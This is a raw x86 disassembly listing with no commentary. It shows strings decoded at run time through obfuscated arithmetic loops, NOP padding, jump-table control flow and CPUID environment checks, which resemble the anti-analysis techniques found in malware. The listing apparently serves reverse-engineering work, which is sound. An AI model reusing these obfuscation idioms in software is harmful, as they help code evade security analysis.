mov dword [eax + 0x2c], 0x75f77bf5
mov dword [eax + 0x30], 0x71e777ef
mov dword [eax + 0x34], 0x6d2473e6
mov dword [eax + 0x38], 0x69f96fe4
mov dword [eax + 0x3c], 0x656a6bfc
mov word [eax + 0x40], 0
mov byte [eax + 0x42], 0
mov dword [ebp - 0x10], 0
mov edx, dword [ebp - 0x10]
cmp edx, 0x42
ja 0x42c208
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x10]
movzx esi, byte [eax + esi]
mov edi, edx
xor edi, 0xead2d139
and edx, 0xead2d139
lea edx, [edi + edx*2]
lea edi, [edx + esi]
and edx, esi
mov esi, edi
xor esi, edx
add esi, edx
not edx
and edx, edi
add edx, edx
sub edx, esi
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0x14]
add dl, 0xe3
mov esi, dword [ebp - 0x10]
mov byte [eax + esi], dl
inc dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
cmp edx, 0x43
jb 0x42c1c0
mov esi, dword [ebp - 0x18]
push esi
push 0
push 0
push 0x1f
push eax
push 0
call ecx
mov edi, dword [esi]
lea eax, [edi + edi]
test edi, edi
jns 0x42c225
mov eax, 0xffffffff
push eax
call fcn.0040c990
add esp, 4
mov esi, eax
mov eax, dword [0x450700]
mov dword [ebp - 0x44], eax
mov dword [ebx], 0x19551b77
mov dword [ebx + 4], 0x65d667a8
mov dword [ebx + 8], 0x61cd6328
mov dword [ebx + 0xc], 0x6dc16fdc
mov dword [ebx + 0x10], 0x69ce6b07
mov dword [ebx + 0x14], 0x75c7773a
mov dword [ebx + 0x18], 0x71d973c8
mov dword [ebx + 0x1c], 0x7dd17fc0
mov dword [ebx + 0x20], 0x790f7bd0
mov dword [ebx + 0x24], 0x45e2470d
mov dword [ebx + 0x28], 0x41e943f9
mov dword [ebx + 0x2c], 0x4df34ffd
mov dword [ebx + 0x30], 0x49fb4bfb
mov dword [ebx + 0x34], 0x552457fa
mov dword [ebx + 0x38], 0x51e153ec
mov dword [ebx + 0x3c], 0x5d5e5fe4
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x3f
ja 0x42c302
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
movzx eax, byte [ebx + edx]
lea edx, [ecx + eax]
add edx, 0x71b062bb
add ecx, 0x71b062bb
and ecx, eax
mov eax, edx
not eax
and eax, ecx
add eax, ecx
not ecx
and ecx, edx
sub ecx, eax
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
add al, 0x59
mov ecx, dword [ebp - 0x10]
mov byte [ebx + ecx], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 0x40
jb 0x42c2c0
push dword [ebp - 0x18]
push edi
push esi
push 0x1f
push ebx
push 0
call dword [ebp - 0x44]
push 0x60
push 3
push 0x120089
push dword [ebp - 0x40]
push esi
call fcn.004448c0
add esp, 0x14
push eax
mov dword [ebp - 0x18], esp
sub esp, 0x44
mov eax, esp
sub esp, 0x40
mov esi, esp
push eax
mov dword [ebp - 0x44], esp
push eax
mov dword [ebp - 0x1c], esp
sub esp, 0x10
mov dword [ebp - 0x38], esp
push eax
mov dword [ebp - 0x4c], esp
push eax
mov dword [ebp - 0x34], esp
sub esp, 0x20
mov dword [ebp - 0x3c], esp
mov ecx, dword [0x450700]
mov dword [eax], 0x2165277b
mov dword [eax + 4], 0x5db223b0
mov dword [eax + 8], 0x593d5f20
mov dword [eax + 0xc], 0x55395bd4
mov dword [eax + 0x10], 0x5132570b
mov dword [eax + 0x14], 0x4dc35326
mov dword [eax + 0x18], 0x49d14fc0
mov dword [eax + 0x1c], 0x45294bd8
mov dword [eax + 0x20], 0x411347d8
mov dword [eax + 0x24], 0x7d264315
mov dword [eax + 0x28], 0x79e17ff1
mov dword [eax + 0x2c], 0x75f77bf5
mov dword [eax + 0x30], 0x71e777ef
mov dword [eax + 0x34], 0x6d2473e6
mov dword [eax + 0x38], 0x69f96fe4
mov dword [eax + 0x3c], 0x656a6bfc
mov word [eax + 0x40], 0
mov byte [eax + 0x42], 0
mov dword [ebp - 0x10], 0
mov edx, dword [ebp - 0x10]
cmp edx, 0x42
ja 0x42c428
nop
nop
nop
nop
mov edx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
movzx edi, byte [eax + edi]
mov ebx, edx
xor ebx, 0xead2d139
and edx, 0xead2d139
lea edx, [ebx + edx*2]
lea ebx, [edx + edi]
and edx, edi
mov edi, ebx
xor edi, edx
add edi, edx
not edx
and edx, ebx
add edx, edx
sub edx, edi
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0x14]
add dl, 0xe3
mov edi, dword [ebp - 0x10]
mov byte [eax + edi], dl
inc dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
cmp edx, 0x43
jb 0x42c3e0
mov edi, dword [ebp - 0x18]
push edi
push 0
push 0
push 0x1f
push eax
push 0
call ecx
mov edi, dword [edi]
lea eax, [edi + edi]
test edi, edi
jns 0x42c445
mov eax, 0xffffffff
push eax
call fcn.0040c990
add esp, 4
mov dword [ebp - 0x40], eax
mov eax, dword [0x450700]
mov dword [esi], 0x19551b77
mov dword [esi + 4], 0x65d667a8
mov dword [esi + 8], 0x61cd6328
mov dword [esi + 0xc], 0x6dc16fdc
mov dword [esi + 0x10], 0x69ce6b07
mov dword [esi + 0x14], 0x75c7773a
mov dword [esi + 0x18], 0x71d973c8
mov dword [esi + 0x1c], 0x7dd17fc0
mov dword [esi + 0x20], 0x790f7bd0
mov dword [esi + 0x24], 0x45e2470d
mov dword [esi + 0x28], 0x41e943f9
mov dword [esi + 0x2c], 0x4df34ffd
mov dword [esi + 0x30], 0x49fb4bfb
mov dword [esi + 0x34], 0x552457fa
mov dword [esi + 0x38], 0x51e153ec
mov dword [esi + 0x3c], 0x5d5e5fe4
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x3f
ja 0x42c523
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
movzx ebx, byte [esi + edx]
lea edx, [ecx + ebx]
add edx, 0x71b062bb
add ecx, 0x71b062bb
and ecx, ebx
mov ebx, edx
not ebx
and ebx, ecx
add ebx, ecx
not ecx
and ecx, edx
sub ecx, ebx
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x14]
add cl, 0x59
mov edx, dword [ebp - 0x10]
mov byte [esi + edx], cl
inc dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x40
jb 0x42c4e0
push dword [ebp - 0x18]
push edi
mov ebx, dword [ebp - 0x40]
push ebx
push 0x1f
push esi
push 0
call eax
push 0x60
push 3
push 0x120089
mov edi, dword [ebp - 0x44]
push edi
push ebx
call fcn.004448c0
add esp, 0x14
jmp dword [0x44c788]
mov eax, dword [ebp - 0x1c]
mov esi, dword [eax]
lea eax, [esi + 1]
push eax
call fcn.0040c990
add esp, 4
jmp dword [0x44c7bc]
push ebx
mov esi, eax
call fcn.0040c9a0
mov eax, esi
add esp, 4
mov ecx, dword [case.0x42bc23.35]
nop
nop
nop
nop
nop
nop
jmp ecx
not eax
shr eax, 0x1f
mov dword [ebp - 0x18], 0
jmp dword [eax*4 + 0x44c7a8]
mov eax, dword [edi]
mov dword [ebp - 0x24], 0x74757677
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
cmp ecx, 3
ja 0x42c5e9
nop
nop
nop
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
movzx edx, byte [ebp + edx - 0x24]
mov esi, ecx
xor esi, 0x6edbb14
and ecx, 0x6edbb14
lea ecx, [esi + ecx*2]
xor ecx, edx
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x14]
add cl, 0x9c
mov edx, dword [ebp - 0x10]
mov byte [ebp + edx - 0x24], cl
inc dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
cmp ecx, 4
jb 0x42c5b0
mov ecx, dword [0x450704]
test ecx, ecx
je 0x42c618
mov edx, dword [ebp - 0x24]
xor esi, esi
mov edi, dword [0x450708]
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x42c610
inc esi
cmp ecx, esi
jne 0x42c600
jmp 0x42c618
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42c62b
mov eax, dword [ebp - 0x18]
and al, 1
jmp dword [0x44c8c8]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
push 1
push dword [0x45070c]
push ecx
call fcn.00441120
add esp, 0x10
mov eax, dword [ebp - 0x18]
and al, 1
jmp dword [0x44c8c8]
push 0
push esi
push dword [edi]
call fcn.00444c20
add esp, 0xc
push 0
push esi
push dword [edi]
call fcn.00444c20
add esp, 0xc
jmp dword [0x44c7a0]
mov byte [ebx], 0xa
inc ebx
lea eax, [esi + 0x1c4]
push eax
call fcn.00430790
add esp, 4
movzx eax, al
jmp dword [eax*4 + 0x44cf64]
jmp 0x42e6e1
mov dword [esi + 0x64], eax
jmp dword [0x44cf54]
movzx ecx, word [eax]
test cx, cx
je 0x42dfa8
add eax, 2
xor edx, edx
jmp 0x42dbe1
add edx, edi
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x42de9f
movzx ebx, cx
cmp ebx, 0x800
mov ecx, 3
sbb ecx, 0
mov edi, 1
cmp ebx, 0x80
jb 0x42dbd0
mov edi, ecx
jmp 0x42dbd0
mov dword [esi + 8], ebx
lea eax, [esi + 0x7d8]
push 0xa
push 0xb
push eax
push dword [esi + 0x1c4]
call fcn.00419c30
add esp, 0x10
mov dword [esi + 0x10], eax
lea eax, [esi + 0xd8]
push 0xa
push 0xb
push eax
push dword [esi + 0x1c8]
call fcn.00419c30
add esp, 0x10
mov dword [esi + 0xc], eax
lea eax, [esi + 0x72c]
push 0xa
push 0xb
push eax
push dword [esi + 0x1cc]
call fcn.00419c30
add esp, 0x10
mov ecx, dword [esi + 0x1d4]
mov dword [esi + 0x52c], 0xc81a287a
mov dword [esi + 0x530], 0xe6d41fcd
mov dword [esi + 0x534], 0xe0ede6ea
mov dword [esi + 0x538], 0x751639e2
mov word [esi + 0x53c], 0
mov byte [esi + 0x53e], 0
mov dword [esi + 0x6c], 0
mov edx, dword [esi + 0x6c]
cmp edx, 0x12
ja 0x42dcef
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [esi + 0x6c]
mov edi, dword [esi + 0x6c]
movzx edi, byte [esi + edi + 0x52c]
mov ebx, edx
xor ebx, 0xf145963f
and edx, 0xf145963f
lea edx, [ebx + edx*2]
xor edx, edi
mov dword [esi + 0x34], edx
mov edx, dword [esi + 0x34]
add dl, 0xc5
mov edi, dword [esi + 0x6c]
mov byte [esi + edi + 0x52c], dl
inc dword [esi + 0x6c]
mov edx, dword [esi + 0x6c]
cmp edx, 0x13
jb 0x42dcb0
movzx edx, byte [esi + 0x52c]
test dl, dl
je 0x42dd1d
lea edi, [esi + 0x52d]
mov ebx, dword [esi + 8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], dl
inc ebx
movzx edx, byte [edi]
inc edi
test dl, dl
jne 0x42dd10
jmp 0x42dd20
mov ebx, dword [esi + 8]
mov byte [ebx], 0
movzx edx, byte [ecx]
test dl, dl
mov edi, dword [esi + 0x10]
je 0x42dd3b
inc ecx
nop
nop
mov byte [ebx], dl
inc ebx
movzx edx, byte [ecx]
inc ecx
test dl, dl
jne 0x42dd30
mov word [ebx], 0x2820
add ebx, 2
movzx ecx, byte [edi]
test cl, cl
je 0x42dd5d
inc edi
mov edx, dword [esi + 0xc]
nop
nop
mov byte [ebx], cl
inc ebx
movzx ecx, byte [edi]
inc edi
test cl, cl
jne 0x42dd50
jmp 0x42dd60
mov edx, dword [esi + 0xc]
mov byte [ebx], 0x2e
inc ebx
movzx ecx, byte [edx]
test cl, cl
je 0x42dd7b
inc edx
nop
nop
nop
nop
mov byte [ebx], cl
inc ebx
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x42dd70
mov byte [ebx], 0x2e
inc ebx
movzx ecx, byte [eax]
test cl, cl
je 0x42dd9b
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], cl
inc ebx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x42dd90
mov byte [ebx], 0x29
inc ebx
lea eax, [esi + 0x14]
push eax
call fcn.004446b0
add esp, 4
movzx eax, al
jmp dword [eax*4 + 0x44cf6c]
jmp 0x42fb9e
mov dword [esi + 8], ebx
mov byte [ebx], 0x20
xor eax, eax
cmp dword [esi + 0x14], 1
sete al
jmp dword [eax*4 + 0x44cf74]
mov dword [esi + 0x52c], 0x89464104
mov byte [esi + 0x530], 0
jmp dword [0x44cf8c]
mov dword [esi + 0x6c], 0
mov eax, dword [esi + 0x6c]
cmp eax, 4
ja case.0x42bc23.53
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x6c]
movzx ecx, byte [esi + ecx + 0x52c]
mov edx, eax
xor edx, 0x9c453fe3
and eax, 0x1c453fe3
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esi + 0x34], eax
mov eax, dword [esi + 0x34]
add al, 0x91
mov ecx, dword [esi + 0x6c]
mov byte [esi + ecx + 0x52c], al
inc dword [esi + 0x6c]
mov eax, dword [esi + 0x6c]
cmp eax, 5
jb 0x42de00
jmp case.0x42bc23.53
lea eax, [esi + 0x52c]
jmp dword [0x44cf94]
mov dword [esi + 0x6c], 0
mov eax, dword [esi + 0x6c]
cmp eax, 4
ja 0x42de40
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x6c]
movzx ecx, byte [esi + ecx + 0x52c]
mov edx, eax
xor edx, 0x9c453fe3
and eax, 0x1c453fe3
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esi + 0x34], eax
mov eax, dword [esi + 0x34]
add al, 0x91
mov ecx, dword [esi + 0x6c]
mov byte [esi + ecx + 0x52c], al
inc dword [esi + 0x6c]
mov eax, dword [esi + 0x6c]
cmp eax, 5
jb 0x42de60
jmp 0x42de40
lea eax, [edx + 4]
and eax, 0xfffffffc
call fcn.0040c8f0
mov eax, esp
and eax, 0xfffffff0
mov esp, eax
test edx, edx
jle 0x42dfb0
lea ecx, [eax + edx]
mov dword [esi + 0x2c], ecx
inc edx
add edx, eax
mov ebx, dword [esi + 0x64]
mov edi, eax
jmp 0x42dee8
mov byte [edi], cl
mov dword [esi + 8], 1
add ebx, 2
add edi, dword [esi + 8]
cmp edi, dword [esi + 0x2c]
jae 0x42dfb2
movzx ecx, word [ebx]
test cx, cx
je 0x42dfb2
cmp cx, 0x7f
jbe 0x42ded0
mov dword [esi + 0x10], ebx
mov dword [esi + 0x30], edi
mov ebx, edi
not ebx
add ebx, edx
movzx edi, cx
mov dword [esi + 0xc], edi
cmp ebx, 2
jb 0x42df40
cmp dword [esi + 0xc], 0x7ff
ja 0x42df40
mov ebx, ecx
shr ebx, 6
add bl, 0xc0
mov edi, dword [esi + 0x30]
mov byte [edi], bl
and cl, 0x3f
or cl, 0x80
mov byte [edi + 1], cl
mov dword [esi + 8], 2
mov ebx, dword [esi + 0x10]
jmp 0x42ded9
mov dword [esi + 8], 0
cmp ebx, 3
mov ebx, dword [esi + 0x10]
mov edi, dword [esi + 0x30]
jb 0x42ded9
mov ebx, dword [esi + 0xc]
shr ebx, 0xc
or bl, 0xe0
mov byte [edi], bl
mov ebx, dword [esi + 0xc]
shr ebx, 6
and bl, 0x3f
or bl, 0x80
mov byte [edi + 1], bl
mov ebx, ecx
xor ebx, 0xc0
or ecx, 0x3f
and ecx, ebx
mov ebx, dword [esi + 0x10]
add cl, 0x80
mov byte [edi + 2], cl
mov dword [esi + 8], 3
jmp 0x42ded9
mov dword [esi + 0x52c], 0x33032f8
mov dword [esi + 0x530], 0
jmp dword [0x44cf7c]
push eax
mov eax, esp
and eax, 0xfffffff0
mov esp, eax
mov edi, eax
mov byte [edi], 0
movzx ecx, byte [eax]
mov edi, dword [esi + 0x9c]
mov edx, edi
test cl, cl
je 0x42dfdb
inc eax
mov edx, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], cl
inc edx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x42dfd0
mov byte [edx], 0
mov eax, dword [esi + 0x64]
jmp case.0x42bc23.41
mov byte [ebx], 0
jmp dword [0x44cf5c]
movzx ecx, word [eax]
test cx, cx
je 0x42e140
add eax, 2
xor edx, edx
jmp 0x42e01d
add edx, edi
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x42e040
movzx ebx, cx
cmp ebx, 0x800
mov ecx, 3
sbb ecx, 0
mov edi, 1
cmp ebx, 0x80
jb 0x42e010
mov edi, ecx
jmp 0x42e010
lea eax, [edx + 4]
and eax, 0xfffffffc
call fcn.0040c8f0
mov edi, esp
and edi, 0xfffffff0
mov esp, edi
test edx, edx
jle 0x42e150
lea eax, [edi + edx]
mov dword [esi + 0x2c], eax
inc edx
add edx, edi
mov ebx, dword [esi + 0x64]
mov eax, edi
jmp 0x42e088
mov byte [eax], cl
mov dword [esi + 8], 1
add ebx, 2
add eax, dword [esi + 8]
cmp eax, dword [esi + 0x2c]
jae 0x42e130
movzx ecx, word [ebx]
test cx, cx
je 0x42e130
cmp cx, 0x7f
jbe 0x42e070
mov dword [esi + 0x10], ebx
mov dword [esi + 0x30], eax
mov ebx, eax
not ebx
add ebx, edx
movzx eax, cx
mov dword [esi + 0xc], eax
cmp ebx, 2
jb 0x42e0e0
cmp dword [esi + 0xc], 0x7ff
ja 0x42e0e0
mov ebx, ecx
shr ebx, 6
add bl, 0xc0
mov eax, dword [esi + 0x30]
mov byte [eax], bl
and cl, 0x3f
or cl, 0x80
mov byte [eax + 1], cl
mov dword [esi + 8], 2
mov ebx, dword [esi + 0x10]
jmp 0x42e079
mov dword [esi + 8], 0
cmp ebx, 3
mov ebx, dword [esi + 0x10]
mov eax, dword [esi + 0x30]
jb 0x42e079
mov ebx, dword [esi + 0xc]
shr ebx, 0xc
or bl, 0xe0
mov byte [eax], bl
mov ebx, dword [esi + 0xc]
shr ebx, 6
and bl, 0x3f
or bl, 0x80
mov byte [eax + 1], bl
mov ebx, ecx
xor ebx, 0xc0
or ecx, 0x3f
and ecx, ebx
mov ebx, dword [esi + 0x10]
add cl, 0x80
mov byte [eax + 2], cl
mov dword [esi + 8], 3
jmp 0x42e079
mov ecx, eax
jmp 0x42e152
push eax
mov edi, esp
and edi, 0xfffffff0
mov esp, edi
mov ecx, edi
jmp 0x42e155
mov ecx, edi
mov eax, dword [esi + 0x64]
mov byte [ecx], 0
movzx ecx, byte [edi]
mov ebx, dword [esi + 0x9c]
test cl, cl
je 0x42dff0
inc edi
mov ebx, dword [esi + 0x9c]
mov byte [ebx], cl
inc ebx
movzx ecx, byte [edi]
inc edi
test cl, cl
jne 0x42e170
jmp 0x42dff0
mov eax, dword [eax]
xor edx, edx
test eax, eax
setne dl
jmp dword [edx*4 + 0x44cff4]
mov dword [edi], 0x202d090a
add edi, 4
mov edx, dword [eax + 8]
movzx ebx, byte [edx]
test bl, bl
je 0x42e1bb
inc edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], bl
inc edi
movzx ebx, byte [edx]
inc edx
test bl, bl
jne 0x42e1b0
mov byte [edi], 0
xor ecx, ecx
cmp byte [eax + 4], 3
setb cl
jmp dword [ecx*4 + 0x44cfcc]
mov byte [edi], 0x20
movzx edx, byte [eax + 4]
xor ecx, ecx
test dl, dl
sete cl
jmp dword [ecx*4 + 0x44cfd4]
xor ebx, ebx
cmp dl, 1
sete bl
jmp dword [ebx*4 + 0x44cfec]
mov dword [esi + 8], edi
mov dword [esi + 0x1c4], 0x40416ef
mov dword [esi + 0x1c8], 0x1f1ff307
mov dword [esi + 0x1cc], 0x51f5
mov dword [esi + 0x6c], 0
mov edx, dword [esi + 0x6c]
cmp edx, 0xb
ja case.0x42eaa3.10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, dword [esi + 0x6c]
mov edx, dword [esi + 0x6c]
movzx edx, byte [esi + edx + 0x1c4]
mov ebx, edi
not ebx
or ebx, 0x3660fb6e
add ebx, edi
xor edi, 0x3660fb6e
lea ecx, [edi + ebx*2]
lea edi, [edi + ebx*2]
add edi, 2
and edi, edx
add ecx, edx
add ecx, 2
add edi, edi
sub ecx, edi
mov dword [esi + 0x34], ecx
mov ecx, dword [esi + 0x34]
add cl, 0xda
mov edx, dword [esi + 0x6c]
mov byte [esi + edx + 0x1c4], cl
inc dword [esi + 0x6c]
mov ecx, dword [esi + 0x6c]
cmp ecx, 0xc
jb 0x42e230
jmp case.0x42eaa3.10
mov dword [esi + 8], edi
jmp dword [0x44cfe0]
lea ecx, [esi + 0xdd]
mov dword [esi + 0xd8], 0xb2849aaf
mov byte [esi + 0xdc], 0xd4
mov byte [ecx + 4], 0
mov dword [ecx], 0
mov dword [esi + 0x34], 0
mov ecx, dword [esi + 0x34]
cmp ecx, 9
ja 0x42e30a
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0x34]
mov edx, dword [esi + 0x34]
movzx edx, byte [esi + edx + 0xd8]
add ecx, 0x96558dce
xor ecx, edx
mov dword [esi + 0x1c4], ecx
mov ecx, dword [esi + 0x1c4]
add cl, 0xfa
mov edx, dword [esi + 0x34]
mov byte [esi + edx + 0xd8], cl
inc dword [esi + 0x34]
mov ecx, dword [esi + 0x34]
cmp ecx, 0xa
jb 0x42e2d0
lea edx, [esi + 0xd8]
jmp 0x42e329
lea edx, [esi + 0x1c4]
mov edi, dword [esi + 8]
inc edi
movzx ebx, byte [edx]
test bl, bl
je 0x42e34b
inc edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], bl
inc edi
movzx ebx, byte [edx]
inc edx
test bl, bl
jne 0x42e340
mov byte [edi], 0
mov eax, dword [eax]
xor edx, edx
test eax, eax
setne dl
jmp dword [edx*4 + 0x44cff4]
mov dword [esi + 0x1c4], 0xdddce6eb
mov word [esi + 0x1c8], 0x1df9
mov dword [esi + 0x1ca], 0
mov dword [esi + 0x6c], 0
mov edx, dword [esi + 0x6c]
cmp edx, 9
ja case.0x42eaa3.9
nop
nop
nop
nop
mov edx, dword [esi + 0x6c]
mov edi, dword [esi + 0x6c]
movzx edi, byte [esi + edi + 0x1c4]
mov ebx, edx
xor ebx, 0x5c7ffe44
and edx, 0xdc7ffe44
lea edx, [ebx + edx*2]
lea ebx, [edx + edi]
and edx, edi
add edx, edx
sub ebx, edx
mov dword [esi + 0x34], ebx
mov edx, dword [esi + 0x34]
add dl, 0xac
mov edi, dword [esi + 0x6c]
mov byte [esi + edi + 0x1c4], dl
inc dword [esi + 0x6c]
mov edx, dword [esi + 0x6c]
cmp edx, 0xa
jb 0x42e390
mov dword [esi + 0x1c4], 0xdddce6eb
mov word [esi + 0x1c8], 0x1df9
mov dword [esi + 0x1ca], 0
mov dword [esi + 0x6c], 0
mov ecx, dword [esi + 0x6c]
cmp ecx, 9
ja 0x42e456
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0x6c]
mov edx, dword [esi + 0x6c]
movzx edx, byte [esi + edx + 0x1c4]
mov edi, ecx
xor edi, 0x5c7ffe44
and ecx, 0xdc7ffe44
lea ecx, [edi + ecx*2]
lea edi, [ecx + edx]
and ecx, edx
add ecx, ecx
sub edi, ecx
mov dword [esi + 0x34], edi
mov ecx, dword [esi + 0x34]
add cl, 0xac
mov edx, dword [esi + 0x6c]
mov byte [esi + edx + 0x1c4], cl
inc dword [esi + 0x6c]
mov ecx, dword [esi + 0x6c]
cmp ecx, 0xa
jb 0x42e410
jmp dword [0x44cfe4]
jmp dword [0x44cffc]
mov ecx, dword [esi + 0xc]
mov ebx, edi
mov edi, ecx
call fcn.00434750
push edi
mov edi, ebx
call fcn.0040c9a0
add esp, 4
jmp 0x42f29e
jmp 0x42f29e
jmp dword [0x44cfac]
mov dword [esi + 0x52c], 0xe4ee1416
mov word [esi + 0x530], 0x6713
mov dword [esi + 0x532], 0
mov word [esi + 0x536], 0
mov dword [esi + 0x7d8], 0
mov eax, dword [esi + 0x7d8]
cmp eax, 0xb
ja case.0x42bc23.63
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x7d8]
mov ecx, dword [esi + 0x7d8]
movzx ecx, byte [esi + ecx + 0x52c]
mov edx, eax
xor edx, 0x61d691eb
and eax, 0xe1d691eb
lea eax, [edx + eax*2]
lea edx, [eax + ecx]
and eax, ecx
add eax, eax
sub edx, eax
mov dword [esi + 0x1c4], edx
mov eax, dword [esi + 0x1c4]
add al, 0x69
mov ecx, dword [esi + 0x7d8]
mov byte [esi + ecx + 0x52c], al
inc dword [esi + 0x7d8]
mov eax, dword [esi + 0x7d8]
cmp eax, 0xc
jb 0x42e4d0
jmp case.0x42bc23.63
jmp dword [0x44cfb8]
mov dword [esi + 0x52c], 0xe4ee1416
mov word [esi + 0x530], 0x6713
mov dword [esi + 0x532], 0
mov word [esi + 0x536], 0
mov dword [esi + 0x7d8], 0
mov eax, dword [esi + 0x7d8]
cmp eax, 0xb
ja 0x42e530
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x7d8]
mov ecx, dword [esi + 0x7d8]
movzx ecx, byte [esi + ecx + 0x52c]
mov edx, eax
xor edx, 0x61d691eb
and eax, 0xe1d691eb
lea eax, [edx + eax*2]
lea edx, [eax + ecx]
and eax, ecx
add eax, eax
sub edx, eax
mov dword [esi + 0x1c4], edx
mov eax, dword [esi + 0x1c4]
add al, 0x69
mov ecx, dword [esi + 0x7d8]
mov byte [esi + ecx + 0x52c], al
inc dword [esi + 0x7d8]
mov eax, dword [esi + 0x7d8]
cmp eax, 0xc
jb 0x42e580
jmp 0x42e530
mov eax, 0xb
mov ecx, 1
cpuid
sar ecx, 8
mov eax, ecx
xor eax, 0xffffff00
or ecx, 0xff
and ecx, eax
xor eax, eax
cmp ecx, 2
sete al
jmp dword [eax*4 + 0x44d054]
movzx eax, byte [esi + 0xc]
mov dword [esi + 0xc], eax
xor eax, eax
xor ecx, ecx
cpuid
cmp eax, 4
jl 0x42e62b
mov eax, 4
xor ecx, ecx
cpuid
jmp 0x42f7d0
mov eax, SysReAllocString
xor ecx, ecx
cpuid
mov dword [esi + 8], eax
mov eax, 1
xor ecx, ecx
cpuid
test edx, 0x10000000
je 0x42fee4
cmp dword [esi + 8], reloc.OLEAUT32.dll_VariantClear
jl 0x42fee4
mov eax, reloc.OLEAUT32.dll_VariantClear
xor ecx, ecx
cpuid
jmp 0x42f7d5
mov byte [ecx], 0
xor eax, eax
cmp byte [ecx - 1], 0x20
lea ecx, [ecx - 1]
sete al
jmp dword [eax*4 + 0x44d004]
xor eax, eax
cmp byte [ebx], 0x20
sete al
jmp dword [eax*4 + 0x44d00c]
inc ebx
xor eax, eax
cmp byte [ebx], 0x20
sete al
jmp dword [eax*4 + 0x44d00c]
mov dword [esi + 0xc], ebx
jmp dword [0x44d018]
mov dword [esi + 0xc], 0
mov eax, 0xb
xor ecx, ecx
cpuid
and ecx, 0xff00
xor eax, eax
cmp ecx, 0x100
sete al
jmp dword [eax*4 + 0x44d02c]
mov eax, dword [esi + 0x1d4]
test eax, eax
je 0x42e6f4
push eax
call fcn.0040c9a0
add esp, 4
call fcn.0043a690
movzx eax, al
jmp dword [eax*4 + 0x44cfa4]
mov dword [esi + 0x52c], 0x36090d08
mov byte [esi + 0x530], 0x90
mov dword [esi + 0x531], 0
mov word [esi + 0x535], 0
mov dword [esi + 0x7d8], 0
mov eax, dword [esi + 0x7d8]
cmp eax, 0xa
ja case.0x42bc23.64
nop
nop
nop
nop
mov eax, dword [esi + 0x7d8]
mov ecx, dword [esi + 0x7d8]
movzx ecx, byte [esi + ecx + 0x52c]
add eax, 0x75a859a5
xor eax, ecx
mov dword [esi + 0x1c4], eax
mov eax, dword [esi + 0x1c4]
add al, 0xc7
mov ecx, dword [esi + 0x7d8]
mov byte [esi + ecx + 0x52c], al
inc dword [esi + 0x7d8]
mov eax, dword [esi + 0x7d8]
cmp eax, 0xb
jb 0x42e740
lea eax, [esi + 0x52c]
mov dword [esi + 0x1c4], 0x3aded4f6
mov dword [esi + 0x1c8], 0x2781810
mov dword [esi + 0x1cc], 0x39020474
mov dword [esi + 0x1d0], 0xe5c4
mov byte [esi + 0x1d4], 0
mov dword [esi + 0xd8], 0
mov ecx, dword [esi + 0xd8]
cmp ecx, 0x10
ja 0x42e834
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0xd8]
mov edx, dword [esi + 0xd8]
movzx edx, byte [esi + edx + 0x1c4]
mov edi, ecx
xor edi, 0x4f348caa
and ecx, 0xcf348caa
lea ecx, [edi + ecx*2]
xor ecx, edx
mov dword [esi + 0x7d8], ecx
mov ecx, dword [esi + 0x7d8]
add cl, 0xae
mov edx, dword [esi + 0xd8]
mov byte [esi + edx + 0x1c4], cl
inc dword [esi + 0xd8]
mov ecx, dword [esi + 0xd8]
cmp ecx, 0x11
jb 0x42e7e0
